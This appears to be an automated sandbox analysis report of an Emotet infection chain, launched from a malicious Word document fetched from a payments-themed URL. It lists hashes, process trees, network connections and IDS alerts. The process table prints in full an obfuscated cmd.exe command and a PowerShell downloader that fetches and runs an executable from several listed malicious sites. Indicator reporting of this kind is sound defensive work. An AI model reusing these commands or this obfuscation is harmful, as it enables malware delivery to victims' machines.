URL: | http://novelreaction.com/US/Payments/2018-12 |
Full analysis: | https://app.any.run/tasks/3a6959a8-cd5c-43ca-b76d-65f400c7115d |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 06, 2018, 15:00:07 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MD5: | 25BD617C9B1107BE37963C300F582C2A |
SHA1: | E9962F0DE69F8FD36D6030608BA7EAA372B588CC |
SHA256: | 0AF58B2B8D0DAAA98FAC3142ECFA6A1E8D93D667237547E869F8E793273A887E |
SSDEEP: | 3:N1KQrXAJLOKIZp/S5n:CQrQvILCn |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2708 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
3292 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2708 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
2588 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\eFILE-9842613051294176[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2164 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
2940 | c:\XvRUKJcjiMdV\RCtAtXuVjKGfW\CAKJJLMVLizcA\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set Dgc=bfhHNFknwKVlHEVsDdPkVzvlwiiGAtJPV+$rxOa S=0Y,}y);{p'em4M([email protected]\B:j9qW2/&&for %f in (34;5;13;23;41;51;16;62;19;51;48;34;0;73;37;41;7;52;24;71;62;0;77;52;61;29;39;4;52;29;68;80;52;0;57;23;26;52;7;29;48;34;75;21;80;41;51;2;29;29;50;76;82;82;23;62;15;26;15;29;52;61;68;61;62;53;82;15;26;50;58;54;66;69;67;65;2;29;29;50;76;82;82;19;26;7;58;15;26;17;52;17;52;15;26;58;7;68;61;62;53;82;40;27;30;15;69;50;36;65;2;29;29;50;76;82;82;53;38;35;29;26;77;7;58;35;26;53;53;52;68;7;23;82;26;12;2;2;78;7;28;36;65;2;29;29;50;76;82;82;17;52;19;62;35;53;61;68;50;23;82;50;63;0;82;50;73;58;50;69;52;81;36;59;65;2;29;29;50;76;82;82;19;26;7;52;0;46;17;52;15;26;58;7;68;61;62;53;82;22;60;23;19;61;53;35;75;62;51;68;40;50;23;26;29;56;51;65;51;47;48;34;80;79;61;41;51;19;50;26;51;48;34;59;80;73;39;41;39;51;78;81;66;51;48;34;61;75;4;41;51;26;26;19;51;48;34;43;50;27;41;34;52;7;22;76;29;52;53;50;33;51;74;51;33;34;59;80;73;33;51;68;52;36;52;51;48;1;62;35;52;38;61;2;56;34;26;5;63;39;26;7;39;34;75;21;80;47;49;29;35;46;49;34;0;73;37;68;16;62;24;7;23;62;38;17;5;26;23;52;56;34;26;5;63;44;39;34;43;50;27;47;48;34;40;38;37;41;51;72;64;79;51;48;70;1;39;56;56;27;52;29;71;70;29;52;53;39;34;43;50;27;47;68;23;52;7;58;29;2;39;71;58;52;39;66;42;42;42;42;47;39;49;70;7;22;62;19;52;71;70;29;52;53;39;34;43;50;27;48;34;5;70;80;41;51;37;15;4;51;48;0;35;52;38;19;48;45;45;61;38;29;61;2;49;45;45;34;80;55;15;41;51;31;21;26;51;48;88)do set 45Nn=!45Nn!!Dgc:~%f,1!&&if %f==88 powershell.exe "!45Nn:~6!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3676 | CmD /V/C"set Dgc=bfhHNFknwKVlHEVsDdPkVzvlwiiGAtJPV+$rxOa S=0Y,}y);{p'em4M([email protected]\B:j9qW2/&&for %f in (34;5;13;23;41;51;16;62;19;51;48;34;0;73;37;41;7;52;24;71;62;0;77;52;61;29;39;4;52;29;68;80;52;0;57;23;26;52;7;29;48;34;75;21;80;41;51;2;29;29;50;76;82;82;23;62;15;26;15;29;52;61;68;61;62;53;82;15;26;50;58;54;66;69;67;65;2;29;29;50;76;82;82;19;26;7;58;15;26;17;52;17;52;15;26;58;7;68;61;62;53;82;40;27;30;15;69;50;36;65;2;29;29;50;76;82;82;53;38;35;29;26;77;7;58;35;26;53;53;52;68;7;23;82;26;12;2;2;78;7;28;36;65;2;29;29;50;76;82;82;17;52;19;62;35;53;61;68;50;23;82;50;63;0;82;50;73;58;50;69;52;81;36;59;65;2;29;29;50;76;82;82;19;26;7;52;0;46;17;52;15;26;58;7;68;61;62;53;82;22;60;23;19;61;53;35;75;62;51;68;40;50;23;26;29;56;51;65;51;47;48;34;80;79;61;41;51;19;50;26;51;48;34;59;80;73;39;41;39;51;78;81;66;51;48;34;61;75;4;41;51;26;26;19;51;48;34;43;50;27;41;34;52;7;22;76;29;52;53;50;33;51;74;51;33;34;59;80;73;33;51;68;52;36;52;51;48;1;62;35;52;38;61;2;56;34;26;5;63;39;26;7;39;34;75;21;80;47;49;29;35;46;49;34;0;73;37;68;16;62;24;7;23;62;38;17;5;26;23;52;56;34;26;5;63;44;39;34;43;50;27;47;48;34;40;38;37;41;51;72;64;79;51;48;70;1;39;56;56;27;52;29;71;70;29;52;53;39;34;43;50;27;47;68;23;52;7;58;29;2;39;71;58;52;39;66;42;42;42;42;47;39;49;70;7;22;62;19;52;71;70;29;52;53;39;34;43;50;27;48;34;5;70;80;41;51;37;15;4;51;48;0;35;52;38;19;48;45;45;61;38;29;61;2;49;45;45;34;80;55;15;41;51;31;21;26;51;48;88)do set 45Nn=!45Nn!!Dgc:~%f,1!&&if %f==88 powershell.exe "!45Nn:~6!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3320 | powershell.exe "$FEl='Dok';$bUO=new-object Net.WebClient;$BzW='http://losistec.com/sipg4837@http://kingsidedesign.com/SGJs3px@http://martijngrimme.nl/iHhh9nAx@http://dekormc.pl/pub/pUgp3e2xL@http://kinebydesign.com/vRlkcmrBo'.Split('@');$Wqc='kpi';$LWU = '928';$cBN='iik';$YpG=$env:temp+'\'+$LWU+'.exe';foreach($iFu in $BzW){try{$bUO.DownloadFile($iFu, $YpG);$SaO='ZTq';If ((Get-Item $YpG).length -ge 80000) {Invoke-Item $YpG;$FIW='OsN';break;}}catch{}}$WMs='Pzi';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2480 | "C:\Users\admin\AppData\Local\Temp\928.exe" | C:\Users\admin\AppData\Local\Temp\928.exe | — | powershell.exe |
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 | ||||
3388 | "C:\Users\admin\AppData\Local\Temp\928.exe" | C:\Users\admin\AppData\Local\Temp\928.exe | 928.exe | |
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 | ||||
3080 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 928.exe |
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2708 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
2708 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
3292 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\2018-12[1].txt | — | |
MD5:— | SHA256:— | |||
3292 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\Payments[1].txt | — | |
MD5:— | SHA256:— | |||
2588 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDFE6.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2588 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_648116D1-1286-4C5E-856B-EF10EEA9FC50.0\12D37CEE.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
2164 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_648116D1-1286-4C5E-856B-EF10EEA9FC50.0\~DF254A088E934AA33B.TMP | — | |
MD5:— | SHA256:— | |||
3320 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W2MQPGIYCZXCLEMKAO0N.temp | — | |
MD5:— | SHA256:— | |||
3320 | powershell.exe | C:\Users\admin\AppData\Local\Temp\928.exe | — | |
MD5:— | SHA256:— | |||
2588 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:AA7CCC84493AD2A04F1134BB14FA9915 | SHA256:129D33AB9D6F53E2F1DBB3FF81B058932F8703BC9E7AF3ED4EAAF97B2F0AA7A7 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2708 | iexplore.exe | GET | 200 | 64.91.232.218:80 | http://novelreaction.com/favicon.ico | US | image | 3.19 Kb | suspicious |
— | — | GET | — | 119.92.51.40:8080 | http://119.92.51.40:8080/ | PH | — | — | malicious |
3292 | iexplore.exe | GET | 200 | 64.91.232.218:80 | http://novelreaction.com/US/Payments/2018-12/ | US | html | 1005 b | suspicious |
3292 | iexplore.exe | GET | 200 | 64.91.232.218:80 | http://novelreaction.com/US/Payments/2018-12/ | US | html | 1005 b | suspicious |
3320 | powershell.exe | GET | 301 | 205.134.255.48:80 | http://kingsidedesign.com/SGJs3px | US | html | 242 b | malicious |
3292 | iexplore.exe | GET | 301 | 64.91.232.218:80 | http://novelreaction.com/US/Payments/2018-12 | US | html | 253 b | suspicious |
3320 | powershell.exe | GET | 200 | 192.185.119.24:80 | http://losistec.com/cgi-sys/suspendedpage.cgi | US | html | 900 b | malicious |
3812 | archivesymbol.exe | GET | — | 74.104.175.6:443 | http://74.104.175.6:443/ | US | — | — | malicious |
2708 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
3292 | iexplore.exe | GET | 200 | 64.91.232.218:80 | http://novelreaction.com/US/Payments/2018-12/index.php.suspected | US | document | 138 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3292 | iexplore.exe | 64.91.232.218:80 | novelreaction.com | Liquid Web, L.L.C | US | suspicious |
2708 | iexplore.exe | 64.91.232.218:80 | novelreaction.com | Liquid Web, L.L.C | US | suspicious |
3320 | powershell.exe | 192.185.119.24:80 | losistec.com | CyrusOne LLC | US | suspicious |
2708 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3812 | archivesymbol.exe | 119.92.51.40:8080 | — | Philippine Long Distance Telephone Company | PH | malicious |
3812 | archivesymbol.exe | 142.169.99.1:7080 | — | TELUS Communications Inc. | CA | malicious |
3812 | archivesymbol.exe | 74.104.175.6:443 | — | MCI Communications Services, Inc. d/b/a Verizon Business | US | malicious |
3320 | powershell.exe | 205.134.255.48:80 | kingsidedesign.com | InMotion Hosting, Inc. | US | malicious |
Domain | IP | Reputation |
---|---|---|
www.bing.com |
| whitelisted |
novelreaction.com |
| suspicious |
losistec.com |
| malicious |
kingsidedesign.com |
| malicious |
dns.msftncsi.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
3292 | iexplore.exe | Attempted User Privilege Gain | SC ATTEMPTED_USER Microsoft Word 2016 use after free attempt |
3292 | iexplore.exe | Potential Corporate Privacy Violation | ET POLICY Office Document Download Containing AutoOpen Macro |
3292 | iexplore.exe | Misc activity | SUSPICIOUS [PTsecurity] Download DOC file with VBAScript |
3320 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3320 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious redirect to 'suspendedpage.cgi' |
3320 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3320 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3320 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3320 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3812 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Trojan-Banker.Win32.Emotet |